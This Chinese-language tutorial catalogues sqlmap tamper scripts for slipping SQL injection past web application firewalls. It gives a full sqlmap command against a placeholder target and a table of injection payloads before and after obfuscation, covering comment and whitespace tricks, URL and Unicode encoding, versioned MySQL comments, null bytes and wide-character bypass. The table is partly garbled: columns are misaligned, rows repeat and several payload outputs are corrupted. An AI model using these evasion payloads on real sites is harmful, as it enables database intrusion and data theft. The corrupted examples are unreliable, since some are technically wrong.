sqlmap --tamper 绕过WAF脚本分类整理
但很多时候还是得静下来分析过滤系统到底过滤了哪些参数，该如何绕过。
sqlmap中的tamper给我们带来了很多防过滤的脚本，非常实用，可能有的朋友还不知道怎样才能最有效的利用tamper脚本。
当然使用脚本之前需要确定的就是系统过滤了哪些关键字，比如单引号、空格、select、union、admin等等。
所以有的时候我们会发现，注入成功了但是dump不出数据，很可能是select被过滤了等等原因。
如何判断使用哪个脚本
最简单的办法就是在url参数中手工带入关键词，判断是否被过滤。
如图：
直接加个单引号被过滤，说明注入时单引号是没法用的。
空格、等于号都没有过滤，成功报错。
select被过滤。
比如空格被过滤可以使用space2comment.py，过滤系统对大小写敏感可以使用randomcase.py等等。
下面对于sqlmap的tamper参数详细讲解。
使用方法
根据实际情况，可以同时使用多个脚本，使用-v参数可以看到payload的变化。
sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2comment,versionedmorekeywords.py" -v 3 --dbs
脚本分类说明
| 支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
|---|---|---|---|---|
| all | 1 | apostrophemask.py | 用utf8代替引号 | ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
| 2 | base64encode.py | 用base64编码替换 | ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' | |
| 3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | ('1 UNION SELECT foobar') '1 UNION SELECT foobar' | |
| 4 | space2plus.py | 用+替换空格 | ('SELECT id FROM users') 'SELECT+id+FROM+users' | |
| 5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、”")） filters | ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' | |
| 6 | space2randomblank.py | 代替空格字符（“”）从一个随机的空 白字符可选字符的有效集 | ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' | |
| 7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | ('-1 UNION ALL SELECT') '-1 UNION SELECT' | |
| 8 | securesphere.py | 追加特制的字符串 | ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" | |
| mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’） | '1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
| 2 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | |
| 3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
| 4 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' | |
| 5 | between.py | 用between替换大于号（>） | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
| 6 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| 7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' | |
| 8 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| 9 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| 10 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| 11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
| mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
| 2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' | |
| 3 | apostrophenullencode.py | 绕过过滤双引号，替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
| 4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | ('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' | |
| 5 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' | |
| 6 | modsecurityversioned.py | 过滤空格，包含完整的查询版本注释 | ('1 AND 2>1--') '1 /!30874AND 2>1/--' | |
| 7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
| 8 | between.py | 用between替换大于号（>） | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
| 9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | ('1 AND 2>1--') '1 /!00000AND 2>1/--' | |
| 10 | space2mysqldash.py | 替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’） | ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' | |
| 11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' | |
| 12 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| 13 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| 14 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| 15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# | |
| 16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
| 17 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| 18 | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))# | |
| MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’='QDWa |
| 20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙，每个关键字之前添加 mysql版本评论 | 1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND 'QDWa'='QDWa" | |
| MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
| Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
| 2 | apostrophenullencode.py | 绕过过滤双引号，替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
| 3 | between.py | 用between替换大于号（>） | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
| 4 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| 5 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| 6 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| 7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
| PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
| 2 | apostrophenullencode.py | 绕过过滤双引号，替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
| 3 | between.py | 用between替换大于号（>） | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
| 4 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
| 5 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
| 6 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
| 7 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
| 8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
| Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | ('1 AND 1=1') '1 AND 1=1%00' |
| 其他 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | |
| unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 | ||
| randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |